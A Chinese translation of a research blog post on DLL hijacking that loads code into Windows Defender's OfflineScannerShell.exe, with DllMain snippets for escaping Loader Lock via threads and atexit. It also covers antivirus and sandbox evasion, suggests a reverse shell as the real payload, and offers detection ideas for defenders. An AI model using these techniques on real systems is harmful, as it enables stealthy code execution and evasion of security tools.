完美DLL劫持

88421e19b1e9ee2000

完美DLL劫持

译者注:个人渣翻,如有侵权,请联系本人进行删除
Translator’s NOTE: Unauthorized translation, if infringement, please contact me for deletion

DLL劫持(有时被称为DLL侧加载或DLL预加载)是一项通过欺骗合法进程(EXE)载入错误动态库(DLL)来注入第三方代码的技术。最常见的方式是将你伪造的DLL放置于搜索顺序优先于原DLL的路径,以此使你伪造的DLL首先被Windows库加载器(Windows library loader)选择

但作为一项决定性技术,DLL劫持在其被加载进入进程并执行第三方代码时一直存在一个巨大的缺陷,亦即Loader Lock死锁,且在我们的第三方代码被执行时其会受到所有严格的限制。其中包括创建进程,进行网络输入输出,调用注册函数,创建绘制窗口,加载其他库等等。在Loader Lock下尝试进行如上操作可能会导致程序崩溃或挂起。

直至现在,这一问题的解决方法或差强人意,或急速崩溃,或过度结构化.所以今天,我们在做的是100%的对Windows库加载器的原始逆向,不仅要干净利落地解决Loader Lock死锁,最终还要彻底禁用它。此外还要给出一些对应的修复&检测机制以供防御者来防止DLL劫持。

关于DllMain

DllMain是Windows中DLL的初始化函数。无论DLL何时被加载,DllMain与其中的代码(比如我们的第三方代码)总会被调用。DllMain运行在Loader Lock下,如先前提到的,它设置了一些限制来确保DllMain中的操作安全。

library-load-dllmain-loader-lock-state-transitions

具体来说,微软只是想让我们注意这样一个关于DllMain操作的小警告

你永远不该在DllMain中执行下列任务:

  • 调用LoadLibrary或LoadLibraryEx(无论直接或间接),这会导致死锁或崩溃

  • 调用GetStringTypeA,GetStringTypeEx或GetStringTypeW(无论直接或间接)。这会导致死锁或崩溃

  • 与其他线程同步,这会导致死锁或崩溃

  • 获取等待获取loader lock的代码拥有的同步对象,这会导致死锁

  • 使用ColnitializeEx初始化COM线程。在特定条件下,该函数会调用LoadLibraryEx。

  • 调用注册函数

  • 调用CreateProcess。创建进程会加载另外的DLL

  • 调用ExitThread。如果您没有与其他线程同步,退出线程是可以工作的,但是这有风险。

  • 调用CreateThread。如果您没有与其他线程同步,创建线是可以工作的,但是有风险。

  • 调用ShGetFolterPathW。调用shell/已知文件夹可能导致线程同步,从而触发死锁。

  • 创建命名管道或其他命名对象(仅限Windows 2000)。在Windows 2000中,命名对象被终端服务DLL提供,若该DLL未被初始化,对该DLL的调用会导致进程崩溃。

  • 使用动态C运行时(dynamic C Run-Time – CRT)中的内存管理函数。若CRT DLL未被初始化,对这些函数的调用可能会导致进程崩溃。

  • 调用User32.dll或Gdi32.dll中的函数。一些函数会加载其他未被初始化的DLL。

  • 使用托管代码(Use Managed code)。

    正如微软所陈述的那样,这些是想让DllMain安全无潜在危险,无副作用地完成工作的“最佳实践”。是啊,可这些限制已经造成了如此之多的痛苦!在此为所有Win32开发者默哀。(还真是)

我们从何开始

我研究的出发点源于安全专家Nick Landers(@monoxgas)发布在NetSPI的一篇内容丰富的文章叫 “自适应DLL劫持” 。这是一份杰出的研究,我过去也用过一些由此产生的技术与工具(例如Koppeling)。正如所有的杰出研究必须得到进一步创新,而这也正是我们今天要做的!

目前遍观网络上关于DLL劫持(仅涉及DllMain)的文章大多要求您进行两个有问题的操作中的一个:

  1. 更改内存保护属性(使用VirtualProtect)
  2. 修改指针

第一条不那么理想,因为杀软标记了VirtualProtect操作,特别是创建读-写-运行权限内存或将读-写权限内存转换为读-写-运行权限内存。这是有充分理由的,因为改变可执行内存权限正是自修改程序的暗示,这可能是绕过严格杀软的最简单的方式。一个具有任意代码保护(Arbitrary code guard – ACG)的进程可以完全阻止可执行内存的 创建与修改。

第二条同样并非理想,因为指针是几乎所有下一代漏洞缓释措施(exploit mitigations,我将其理解为漏洞修复相关工作)的目标。举个例子,一个函数在Loader Lock释放之后在被修改的堆栈上返回地址来进行代码执行。该技术很受欢迎直到被即将到来的叫intel Control-flow Enforcement Technology(CET)的漏洞缓释措施终止。CET的CET交叉引用函数返回栈上的地址,同时“影子栈”被锁在CPU硬件中,以确保它们是有效且不可篡改的;否则直接强制终止恶意进程。指针被1:1认证的那天总会到来,所以最好是整个避免指针修改来保证这项技术的时效性。

我还注意到一些现有的技术,虽然是通用的,但是却有些冗长与复杂,或是只为了动态加载或只为了静态加载而设计。一些方法还需要以稳定进程持续性为方向。(Some methods also need to feature stable process continuation)

避免这些有问题的操作正是我们将在此探究的技术的要求。

安全研究的心态

在你探索未知领域时,很容易变得困惑并且放弃太快。这就是为什么提醒自己我们必须做什么十分重要,如此以来创造力便会发挥作用。于我而言,在进行此项研究之前,我先发现了一个内存崩溃漏洞(即缓冲区溢出),允许不受信任的数据控制_call_指令的目的地(即任意调用),因此几乎导致了远程任意代码执行。

在DLL劫持的情况下,我们被给予了三个基本访问权限,包括对程序的任意(虚拟)内存的读,写和调用。我们还会经常与Windows库中许多的(注:wired machines应该指的是程序安全分析理论模型)wired machines(非常多代码)打交道,因为我们才是代码的编写者(即使我们的代码还运行在Loader Lock下的DllMain中)。此外,我们也许会在被劫持的进程的虚拟内存空间之外直接对内核使用系统调用,此时也需要我们与wired machines交互。我们很容易会将这些奢侈的用法视为理所当然,直到遇到更加受限的攻击场景。

这些都是为了说明一点,允许我们干净利落(即没有改变内存的保护属性)地在Loader Lock释放之后(甚至或者直接禁用它)的DllMain中重定向代码执行的机制不存在的概率基本上是零。作为研究者,我们要自信地进行探索,并且知晓我们真正在寻找的东西。这就是我开始研究时的心态。

信息

Loader Lock并非安全边界,只是一个对于DLL劫持和其他程序使用上的小麻烦。但这并不意味着其他程序不能使用同样的思想。

此处的”Lock”就是互斥锁,一个并发中的概念。如果你是计算机科学专业的, 那么你很有可能会学到这个概念。

我们的目标

我们将尝试对Windows默认内置的C:\Program Files\Windows Defender\Offline\OfflineScannerShell.exe 进行我们的DLL劫持技术。

offlinescannershell-location

尝试运行该程序(使用双击)将会爆出如下错误恰说明这个程序容易受到DLL劫持。

offlinescannershell-mpclient-dll-not-found-error

该现象发生是因为mpclient的位置在C:\Program Files\Windows Defender,在当前Offline目录的上一级。故想要正确的启动程序需要首先将当前工作目录(CWD)切换至C:\Program Files\Windows Defender(用CMD很容易做到)。这样mpclient.dll存在于搜索路径中,于是OfflineScannerShell.exe便成功运行了。

1
2
3
4
5
C:\>cd C:\Program Files\Windows Defender
C:\Program Files\Windows Defender>Offline\OfflineScannerShell.exe

C:\Program Files\Windows Defender>echo %ERRORLEVEL%
0

然而,如果我们将CWD任意设置比如用户文件夹(C:\Users\<你的用户名>)那么当OfflineScannerShell.exe搜索mpclient.dll时我们便可以使其加载我们复制的C:\Users\<你的用户名>\mpclient.dll!

以及存在于全局环境变量PATH中的路径(此处打印在CMD中)也能起作用:

1
2
C:\Users\user>echo %PATH%
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\<YOUR_USERNAME>\AppData\Local\Microsoft\WindowsApps

C:\Users\<你的用户名>\AppData\Local\Microsoft\WindowsApps是另外一个OfflineScannerShell.exe加载DLL的默认存在于Windows且用户可写的完美路径,如果你不想设置当前工作目录的话。

正如我们稍后即将发现的,Windows中深嵌着许多可以被我们使用新技术DLL劫持的目标,但我就是喜欢这个。

我们的Payload

作为示例的payload,我们将通过如下命令启动计算器。

ShellExecute(NULL, L"open", L"calc.exe", NULL, NULL, SW_SHOW);

然而,有一点很重要我们必须切实认识到,你得在payload执行之后继续运行白程序(被劫持的)的剩余部分;否则就违背了DLL劫持的原意(在大多数场景中)。对于红队而言,在白程序中生成一个反弹shell(Metasploit或Colbalt Strike的)同时保重白程序照常运行(没有任何异常情况发生的迹象)可能才是最理想的payload。

为什么我们用ShellExecute。其实ShellExcute正是完美的在NTDLL中试错的工具。这是因为众所周知这个API会与Windows的大量子系统交互。从库加载器到COM/COM+,使用APC,RPC,WINRT存储调用,CRT函数,注册函数,甚至创建了一个完整的新线程之为了启动一个应用(calc.exe)!ShellExecute大概是整个Windows API中最臃肿且复杂的API(当然在ShellExecuteEx之后),所以这个函数理所当然的作为技术是否成功的验证。

与其他大多数在DllMain中的违禁操作一样,尝试在不进行其他操作的情况下调用ShellExecute(且尤其是ShllExecute)最终是盛大地陷入了象征噩兆的死锁,于ntdll!NtAlpcSendWaitReceivePort(??)处失败了,造成了程序的永久挂起:

shellexecute-initial-deadlock-point

搜索该函数(与其邻居函数)蹦出来的结果微乎其微,因为全都没归档!我就喜欢这样。

另外几次,你可能会在ntdll!TppRaiseInvalidParameter报错崩溃因为一个内部函数想要在调用栈再深一点的地方(???)返回一个好的NTSTATUS(该情况下,STATUS_INVALID_PARAMETER)。尝试再乱搞一通,最后你会直面一个言简意赅的内存访问违规。就像巧克力盒子,你永远不知道你会从里面得到什么。

来看看我们能否改变这个情况!

完美候选

OfflineScannerShell.exe是我在DLL劫持(至少在存在的技术中)中被称为“最坏的一类情况”。不过这恰好能够说明我们的新技术能够普遍运作。使OfflineScannerShell.exe成为最坏的一类情况的因素主要来自以下几件事:

  • 不调用可劫持的DLL的导出函数,所以必须使用DllMain来重定向代码执行

    • 许多带有可劫持DLL的程序会提前退出除非有特殊前置条件。
      • 不过大多数情况下这些前置条件不可能遇得上。
    • 这点是我在MpClient.dll的每个导出函数设置了断点之后运行OfflineScannerShell.exe之后验证出来的。
  • 程序在运行之后立马退出了(没有保持打开,闲置,或是等待)

  • 可劫持的DLL是被静态加载的(并非通过调用LoadLibrary来在程序运行时动态加载)

    • 通常来说,这是因为你在库加载器内部的更深处(进程仍在启动)

基本上就是如此,如果你的目标程序在其存活周期中调用了它的可劫持DLL的导出函数,那你就已经成功了,因为你可以随意重定向代码执行,根本不用烦恼DllMain与Loader Lock的冲突问题。这也被叫做DLL代理。然而在我见过的大多数DLL可劫持的主流情况中,经常是一个难以言说的只有少数当程序运行得十分深入才会被调用的DLL,很难(甚至根本不能)达到调用除非程序运行在正好的环境之中。而且这些程序会直接退出,因为,举个例子,你正运行一个连接着可被劫持DLL的可执行服务,但只要你启动可执行服务,其会发现自己并未被正确启动(作为一个Windows服务)并且马上退出了。这使本应很简单的劫持工作变得复杂,但我们已经能够在程序运行后的DllMain中执行代码,只不过是在臭名昭著的Loader Lock之下。

据我所知,唯一关于OfflineScannerShell.exeDLL劫持方面顺利的事就是其连接着C运行时(CRT),换句话说就是,它不是个纯Windows API(Win32)程序。但是Windows中绝大多数程序都是与CRT连接的,所以这也算不上独一无二的优点。至于为什么这是优点,我们等会会涉及到。

新技术

主线程竞态

该技术基于NetSPI上发布的”自适应DLL劫持”。

我最初在这项技术上做的拓展在我们的目标上无法达到100%的成功率。但是这提供了一个很好的学习经验,这也是为什么我将其包含了进来。在这节的结尾部分,我提示了一个这项技术的另一个稍微不同于我们的拓展的方法,100%的成功率也近在咫尺(即将到来)。

如果你迫不及待想了解最好的新技术,尽管跳过到下一节

初始实验

正如上边陈述的微软的“最佳实践”文档,在DllMain中“可以”调用CreateThread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// DllMain模板代码,每个DLL中都要有
BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
// 创建一个线程
// 线程再去运行我们的"CustomPayloadFunction"(此处没有显示)
DWORD threadId;
HANDLE newThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CustomPayloadFunction, NULL, 0, &threadId);
}

return TRUE;
}

成功了!但是还有一个问题,因为被CreateThread创建的线程(不止这个原因)会等到我们离开DllMain后再开始运行。要解决这个问题要求我们调用CreateThread,允许程序退出DllMain(Loader Lock之类的限制会在这之后一小会被释放),接着祈求线程能够在程序主线程退出之前被创建。

创建线程是个相对昂贵的操作,所以如果我们的目标程序退出得相当快,我们可能就会输掉这场竞速。也许我们可以通过某种方式来增加我们的胜算…

增加胜算

比如调用SetThreadPriority来提升我们新入队的线程的优先级至最高等级(THREAD_PRIORITY_TIME_CRITICAL)同时降低主线程的优先级至尽可能低(THREAD_PRIORITY_IDLE;该优先级甚至比THREAD_PRIORITY_LOWEST还要低!)

如此拓展我们之前的代码,我们可以在CreateThread之后加上这两句:

1
2
3
4
SetThreadPriority(newThread, THREAD_PRIORITY_TIME_CRITICAL);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_IDLE);

//接着从DllMain中返回并祈祷胜利...

对于OfflineScannerShell.exe,最终证明设置线程优先级并不是必须的,因为无论如何程序也做了足够的事在退出之前争取时间,然而设置线程优先级还是在我将dll与程序放在一起只为了静态加载我们的Dll的简单测试中一定程度上提供了更高的胜算。所以,我们不妨将此次实验记为一个小小的胜利。

暂停主线程

现在既然我们触及了在新线程中的CustomPayloadFunction,那么便需要快速地在退出程序之前暂停主线程。在新线程中使用SuspendThread挂起我们的主线程是最明显的达到目的方法所以我们先用它。想要挂起线程,SuspendThread要求提供目标线程的句柄。

足够简单,稍稍改动以下我们之前的CreateThread,我们首先通过GetCurrntThread来获取当前线程(main)的句柄。接着我们将该线程句柄作为CustomPayloadFunction的参数传递,就像这样:

1
2
//将GetCurrentThread()的结果作为参数传递给CustomPayloadFunction
HANDLE newThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CustomPayloadFunction, GetCurrentThread(), 0, &threadId);

然后在CustomPayloadFunction(新线程)中挂起传递过来的线程:

1
2
3
4
5
VOID CustomPayloadFunction(HANDLE mainThread) {
SuspendThread(mainThread);

...
}

但是此处暗藏着一个bug,你能找到它吗?

这个bug我早在几年前就遇到过,只不过当时我只是个没有WinDbg经验的C与Win32的编程新手,所以我当时没法解决它。

这个错误出现是因为GetCurrentThread返回的并非真正的句柄;而是返回一个伪句柄GetCurrentThread(在x86-64中)仅仅是一个固定返回0xFFFFFFFFFFFFFFFE的桩(stub):

getcurrentthread-disassembly

因此,向我们的新线程传递该值会导致函数去引用传递过去的线程,而非我们先前调用GetCurrentThread的线程。这个bug非常隐蔽并且只会在你对Win32编程十分熟悉或者遍历过官方文档(而非只让Visual Stdio的自动联想主导你,就和我一样)时作为一个显然的问题被发觉。我们真正想要的正确的解决方法是:

1
HANDLE mainThread = OpenThread(THREAD_SUSPEND_RESUME, FALSE, GetCurrentThreadId());

我们使用当前线程的ID创建了一个可以被正确作为参数传递给新线程的真句柄。只给我们的句柄提供所需最低的THREAD_SUSPEND_RESUME权限,我们的用例就完美运行了。

一般情况下,将主线程的ID传递给新线程,然后在新线程中创建句柄才意味着明了清晰的代码风格。但在这个独特的情况下,我们希望尽可能快地在新线程中挂起主线程,故提前打开句柄是更好的选择。我们只需要在新线程中注意不要忘记关闭句柄造成数据泄露。Windows同样还限制了单个进程能够拥有的句柄数,故如果目标泄露了大量句柄,这会对我们的与应用造成有效的DoS。总之,这不是一堂编程课但知晓最佳实践总是好的(讽刺的是,我们还要继续跟这些实践对着干)!

挂起线程的问题

这项技术最后一个需要跨越的障碍正好是被微软在SuspendThread文档中为我们总结好的:

此函数主要用于调试器。 它不用于线程同步。 如果调用线程尝试获取暂停线程拥有的同步对象,在拥有同步对象的线程(如互斥体或关键部分)上调用 SuspendThread 可能会导致死锁。 为避免这种情况,应用程序中不是调试器的线程应向另一个线程发出信号,以暂停自身。 目标线程必须设计为watch此信号并做出适当的响应。

这就带来了竞态方法的最大的问题。在OfflineScannerShell.exe中,这个问题在程序每执行十次左右便会出现,因为主线程在进行堆内存分配/释放时被挂起了。在Windows中,每个进程都有system提供的默认堆(也可以通过GetProcessHeap获取)。这个堆被设置为HEAP_NO_SERIALIZE(序列化此处指互斥锁)置空,代表对该堆的分配与释放函数会导致该堆被锁定后解锁。换句话说,对于一个未被序列化的堆(HEAP_NO_SERIALIZE置1),保证其跨线程访问的安全性将由程序员负责。我们可以通过在线程中调用HeapUnlock(GetProcessHeap())来一次性地删除这个堆的互斥锁。但是这违反了线程安全保证。可能会导致主线程崩溃或在恢复线程后出现非预期操作。

举个例子,在我们的测试中我们使用ShellExecute来运行calc.exe作为我们的最终payload装载至新线程。那么,ShellExecute(同其他类似的复杂Win32函数)必须对进程堆进行分配,此时若是我们不解锁堆便可能会导致死锁出现。在OfflineScannerShell.exe中,我还没见过HeapUnlock真的导致崩溃的情况,但是若是我们在新线程中使用HeapUnlock(GetProcessHeap())接着HeapAlloc(等同于malloc),最后恢复主线程时,崩溃发生的概率并不是零。

heap-allocate-deadlock-thread-1

heap-allocate-deadlock-thread-2

死锁发生是因为被挂起的主线程占用着堆锁(亦即critical section),但新线程又在尝试获取该锁。两方都无法取得进展,故整个程序就永久挂起了

不同的方案?

在该技术的当前阶段,我们假设你想让宿主进程保持运行直至它的自然终结(我们也是这么做的),这套解决方案最高只能达到99%的有效。这是个有趣的实验,但我们能做得更好。

本质上,当我们在新线程中挂起主线程时,我们需要能够控制主线程的位置。我能想到

最简洁的方法就是使用锁。我们可以在DllMain中获取一些锁(由我细细道来),这将导致主线程在代码中可预测的位置停止,因为它也在等待获取同一个锁。当我们启动新线程时,我们执行我们的payload,接着我们释放锁让程序继续照常运行(同时保证不要太快退出)。使用这个方法,我们再也不用搞什么进程挂起因为这些锁已经帮我们搞完了!我还没有试过这个方法,因为我想出来的时候我正在写这篇文章,不过我感觉这是个必胜策略。

下篇文章我们再细说这个!

启发式检测方法

尽管如此,在DllMain中调用CreateThread(以及其他一些启发式检测方法)可以作为反恶意软件检测的特征,因此对于红队来说,这项技术还有待改进。如果防御者想用它作为检测DLL劫持的启发式方法,那么我建议你在<DLL_NAME>!DllMain之前hook ntdll!LdrCallinitRoutine初始调用到我们DLL时的<DLL_NAME>!dllmain_dispatch。你可以从之前“我们的Payload”一节展示的图片中看到这个调用栈的样子。如果你在周期内看到任何可疑的Windows API调用,比如CreateThread,这可能正是DLL劫持的症状。这样做是必要的,而不是当某些可疑的Windows API函数被调用时简单地分析调用堆栈,因为调用堆栈很容易被临时欺骗。即使使用Intel CET,调用栈仍然可以临时伪造(例如,在调用CreateThread之前),接着在函数(DllMain)返回时将其改回来并传递返回地址到完整性检测。

在结束前逃逸

atexit-sign

标准C中,存在一个叫atexit的函数,目的是(正如其名)在程序出口处运行给定的函数。所以,如果我们简单地在DllMain中使用atexit设置个退出断点(原文:trap),在程序退出时,我们便逃脱了名为Loader Lock的熊熊烈焰:

1
2
3
4
5
6
7
8
9
10
11
12
// DllMain模板代码,存在于每个DLL中
BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
// CustomPayloadFunction将在程序出口被调用
atexit(CustomPayloadFunction);
}

return TRUE;
}

于是我们得来看看CustomPayloadFunction(即此处展示的payload),在数小时的调试与折磨之后,我们接下来发现的东西会震惊到你:

dll-atexit-handler-runs-under-loader-lock

atexit函数同样运行在Loader Lock中!!-_-

我费了挺大功夫才认识到这个事实,因为我需要更直观的观测Loader Lock是否存在的方法。在那时我仅有的(笨拙的)用来检验Load Lock存在的方法就是做一些我认为在Loader Lock中不可能做到的事。如果这些操作成功了,我便认为我们已经从Load Lock中解放了(提示:不过我们没成功)。

直到偶然发现Raymond Chen(一个微软的资深Windows内部专家)在Old New Thing博客上提到的这个超有用的信息: !critsec ntdll!LdrpLoaderLock

考虑到Loader Lock问题再Windows API(Win32)编程中是一个十分常见的问题,我觉得这条信息应该被明显地记录在微软的官方文档中(也许该放在“调试”篇)而不是仅仅被提及在一两篇老博客中,或是分散在各种问题跟踪过程中,还有现在的这篇文章中。同样值得注意的是,在!locks -v的输出中也找不到Loader Lock。该命令列出了一些锁,但是不知道为啥ntdll!LdrpLoaderLock(甚至锁上的时候)没有包含在内。所以,除了在网上搜,搜索调试符号名或者在NTDLL的critical section设置断点(尽管我当时不知道Loader Lock是如何实现的)之外也没有更简单的解决方法了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0:000> !locks -v

CritSec ntdll!RtlpProcessHeapsListLock+0 at 00007ff94e17ace0
LockCount NOT LOCKED
RecursionCount 0
OwningThread 0
EntryCount 0
ContentionCount 0

CritSec +13d202c0 at 0000024a13d202c0
LockCount NOT LOCKED
RecursionCount 0
OwningThread 0
EntryCount 0
ContentionCount 0

... *snip* More unnamed (i.e. no debug symbols available) locks *snip* ...

CritSec SHELL32!g_lockObject+0 at 00007ff94d3684b0
LockCount NOT LOCKED
RecursionCount 0
OwningThread 0
EntryCount 0
ContentionCount 0

无论如何,有了WinDbg命令!critsec ntdll!LdrpLoaderLock这个神器,我们可以立马知晓Loader Lock是*** Locked还是NOT LOCKED而且在之前的atexit条件下其几乎可以肯定是锁上的:

1
2
3
4
5
6
7
8
9
10
0:000> !critsec ntdll!LdrpLoaderLock

CritSec ntdll!LdrpLoaderLock+0 at 00007ffb30af65c8
WaiterWoken No
LockCount 0
RecursionCount 1
OwningThread 26e0
EntryCount 0
ContentionCount 0
*** Locked

那么我猜我们的这项技术是失败了,好吧,至少我们试过…

真失败了吗?如败!如果我告诉你(在Windows中)实际上有两种atexit(一个未归档的实现细节)呢!好吧,实际上这是我通过一点点的逆向工程发现的。好消息是,他们中的其中一个没有运行在Loader Lock中:

atexit-onexit-disassembly

_onexit是标准C的atexit直接传递给微软的拓展,这两个函数是等价的。

注意onexit函数中的两个call指令。第一个是调用到了_crt_atexit(CRT就是C运行时),第二个是调用到_register_onexit_function。调用哪一个取决于在jne(不相等时jump)指令之后的cmp(比较)指令。具体来说,当地址0x00007ff943783058 != 0xFFFFFFFFFFFFFFFF,我们就会跳到_register_onexit_function,否则_crt_atexit会被调用。

经过实验,我意识到这是判断atexit/_onexit是在EXE还是DLL中被调用。如果在EXE中调用,那么对比的地址值将等于0xFFFFFFFFFFFFFFFF,而在DLL中就是其他的一些值。为什么会这样?我也不知道,不过事实就是这样。

于是我们已经明确了atexit/_onexit在DLL中实际上是调用了_register_onexit_function,而在EXE中调用了_crt_atexit。你现在也许已经猜到了,但是我们真正想调用的,那个不运行在Loader Lock之中的是——_crt_atexit

CRT复习

C运行时(CRT)提供了许多基本的应用程序功能,它使程序员能够访问由C(有时是c++)标准定义的函数。比如mallocfree这样的内存分配函数,用于进行进行字符串比较的strcmp,用于进行文件访问的fopen/fread/fwrite操作,等等,都是标准的C函数!遵循这个标准,开发人员(理论上)可以编写一个可以在所有平台上运行的C/ c++程序,而不需要额外的成本。

还是回到代码再加上这个吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <process.h> // 为了使用CRT的atexit函数

// DllMain模板文件,存在于每个DLL中
BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
// CustomPayloadFunction将在程序出口被调用
_crt_atexit(CustomPayloadFunction);
_crt_at_quick_exit(CustomPayloadFunction);
}

return TRUE;
}

OfflineScannerShell.exe试一试结果…还是没成功。但是别急,在我自己编译的(用Visual Studio)用来进行DLL劫持测试的简单样例被劫持EXE与DLL(静态加载)上是成功的?

以下是我们的测试样例结尾通过调用_crt_atexit创建atexit/_onexit时调用栈的样子,同时证明了Loader Lock已经不复存在

crt-atexit-handler-runs-without-loader-lock

ConsoleApplication2 是我们的目标样例EXE ,Dll2 是我们目标样例的劫持DLL

我已经有了一个直觉,在WinDbg快速瞟的这一眼更是指引了我正确方向。问题出在OfflineScannerShell.exe与我们的劫持DLL链接到了完全不同的CRT中,导致于没有分享同一个状态。OfflineScannerShell.exe链接到的是元老级的msvcrt.dll(这东西在Windows中向后兼容好几年了),而我们的DLL链接到的是新的通用(Universal)CRT(UCRT),从Windows10开始的内置系统库才可用。这是Visual Studio 2022的情况。然而,注意老版本的Visual Studio默认还是链接到Visual C++(vcruntime)CRT的。你可能对这个安装程序很熟悉:

visual-c++-redistributable-installer

visual-c++-redistributable-installed

msvcrt.dll是Windows中老版本的C运行时。存在于Windows95之后的内置系统库而且现在依然存在于现代Windows安装的C:\Windows\System32。在配合C标准CRT方面,它提供了一个糟糕的缺陷。它实在太破旧了,事实上,微软早在很久之前就移除了开发者使用Visual Studio链接到它的能力。然而,微软自身在意识到他们自己的bug之后,结果还是在许多Windows的附带程序中链接到它身上(除非是纯粹的Win32程序,不带CRT或是使用更新的Windows 10发布的UCRT)。这一切都符合微软向后兼容之王的称号。而这就是问题所在,要查看完整背景故事,请自行承担风险。

回到DllMain中,使用标准的GetModuleHandle/GetProcAddress方法来定位并调用msvcrt.dll中的atexit是可以的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msvcrtHandle = GetModuleHandle(L"msvcrt");
if (msvcrtHandle == NULL)
return;
FARPROC msvcrtAtexitAddress = GetProcAddress(msvcrtHandle, "atexit");

// 一个参数的函数原型
// 参数:一个函数指针(CustomPayloadFunction),其返回类型应为无关紧要(`void`)且没有参数(又一个`void`)
// 这两个函数都使用被称为“cdecl”的标准C调用约定
typedef int(__cdecl* msvcrtAtexitType)(void (__cdecl*)(void));

// 转换 msvcrtAtexitAddress 为 msvcrtAtexitType 类型使我们可像上面的原型对其进行调用
msvcrtAtexitType msvcrtAtexit = (msvcrtAtexitType)(msvcrtAtexitAddress);

// 调用 MSVCRT atexit!
msvcrtAtexit(CustomPayloadFunction);

但是这太长了,而且杀软大概率不会喜欢这些函数的,我们能否将其变得更加简洁呢?当然能,只不过我们必须从Visual Studio中脱离并使用特定版本的Windows Driver Kit(WDK)进行编译。使用WDK(尽管它的名字这么叫,但它也能用来编译常规用户模式的程序),我们可以直接链接至msvcrt.dll!用MinGW编译似乎也能达到效果。这将我们DllMain的内容(模板之外部分)变回了一行代码:

1
atexit(CustomPayloadFunction);

现在简洁多了。

启发式检测方法

因为只有一行代码,这项技术没有留给启发式检测太多方法。atext完全在进程内工作,意味着内核回调没法找到任何东西。我同样不能马上想起任何hook了ntdll.dll/kernal32.dll(起码不是CRT DLLs)之外的用户模式调用的安全产品。用户模式的hooks存在于程序的(虚拟)内存中,使得绕过杀软总是可能的。不像内核回调,运行在用户模式下的程序没有权限接触到内核(存在着严格的安全边界需要权限提升漏洞)。因此,该项技术直至行业普遍技术指标进步之前都会是免杀的。

使用静态扫描来检测atexit(或者_onexit)而不是DllMain可能一开始会有用。然而,这只会导致猫和老鼠似的你抓我藏的游戏,而且十分容易被绕过。举个例子,一名攻击者可能在DLL代码中的任何地方调用atexit(在DllMain之外,在未使用的代码中),在大马中发出一个唯一标识符(例如汇编指令的db),再使用egg hunter(一般用在漏洞利用开发,但也可能用在此环境中逃避检测)搜索该标识符以及atext的地址。只需要一小段汇编动态来调用这个地址所,可能存储在一个寄存器中(例如 call rax)。

当然,atexit自身根本没什么可怀疑的(比如在导入地址表IAT里),不像CreateRemoteThread这样明显的反例。

一种启发式检测的方法是检测进程中是否有在atexit函数中待了异常久的时间。那么如果启发式检测发现一个良性应用在atexit中花了过多的时间,我们不妨将其当作纯纯的奖励,因为这于我听起来是个bug。这可以与检测CRT_onexit_table_t表中指向DLL代码的条目相结合。特别是在执行DLL的atexit处理程序期间使用了敏感的Win32函数(用内核回调来检测这一点)。

还有一个有趣的发现就是atexit可以用来确保攻击者的真正payload在恶意文件分析沙箱环境下永远不被执行,如果沙盒中没有运行与样本DLL目标程序链接到同一个CRT的程序(EXE)的话(比如MSVCRT之于OfflineScannerShell.exe)。恶意文件分析服务比如 Hybrid Analysis保证DLL样本起码在UCRT与MSVCRT环境下都运行过来避免被反沙箱绕过。

虽然我们可以进一步改进对此独特技术的识别,但我认为还是将精力花在检测更广泛的DLL劫持上比较好,我们稍后再讨论这个问题。

微软官方许可?

通过在msvcrt!atexit处设置断点,我得以发现微软自己的典型地运行在Loader Lock下的EXE们对同一个CRT下的atexit的调用:

microsoft-calls-crt-atexit-under-loader-lock

所以这就说明,基本上…

微软许可了

我们都已经用在产品里了。😎

好吧好吧,虽然这里有Loader Lock,但在CRT DLL中调用CRTatexit与从其他DLL中调用CRTatexit还是有很明显的区别的。别人可以向我们的DLL调用FreeLibrary,使我们的atexit处理程序湮灭在内存中但依旧被CRT引用。这个垂悬指针会在之后退出时造成崩溃。

然而这个问题比我们想得要小得多。事实是,对于静态加载的DLL,FreeLibrary只能减少库的引用数而非真的从内存中卸载它,哪怕明确地释放许多次(经测试验证)。想要做到真正释放我们的DLL也是可能的,开发人员有可能通过调用LdrUnloadDll(一个NTDLL导出函数)来触发实际的库资源清理,尽管这种可能性不大。但是,为了防止这种事发生,我们将在我们的DLL中调用LdrAddRefDll(也是NTDLL的导出函数),因为加载器在一个库的引用数非零的时候不会卸载它。调用LdrAddRefDll同时避免了动态加载的库(用LoadLibrary)被FreeLibrary清除了库资源。总之,只要你加上了LdrAddRefDll(并且你的EXE链接到了正确的CRT;否则是没用的),这项技术便能够保证100%的安全度

破解Loader Lock

好的,我们以上做的都很好。只不过如果我就是想直接DllMain中运行我们的最终payload怎么办?事不宜迟,我现在要说的是还在DllMain中就破解Loader Lock。那个时候,只要我们想,在DllMain还在调用栈中我们就可以对其为所欲为。要完成这一壮举,我们得对Windows加载器(包含在ntdll.dll中)做一些逆向工程,在几个小时的WinDbg后我搞明白了。

从我们先前完成的技术研究,我们已经知道想要更改Loader Lock的状态,我们必须更改位于ntdll!LdrpLoaderLock的critical section。但是在不知道ntdll!LdrpLoaderLock符号地址的情况下我们是没法做到的,而且在调试器之外我们也不可能知道符号的地址(微软的调试符号是自动下载的)。技术上来说,提前将当前微软二进制文件的调试符号下载,并且让我们的进程加载符号,之后再在进程中寻找调试符号的地址是可行的。但是这太复杂了,而且对我而言不算是能接受的解法。

在网上搜索有关Loader Lock的critical section的信息,我正好在ReactOS的源代码中发现了一个看起来很有希望的函数叫LdrUnlockLoaderLock。ReactOS是对微软Windows系统进行的从头开始的逆向工程而来的对Windows的重实现,所以不用说,它们是无价之宝。

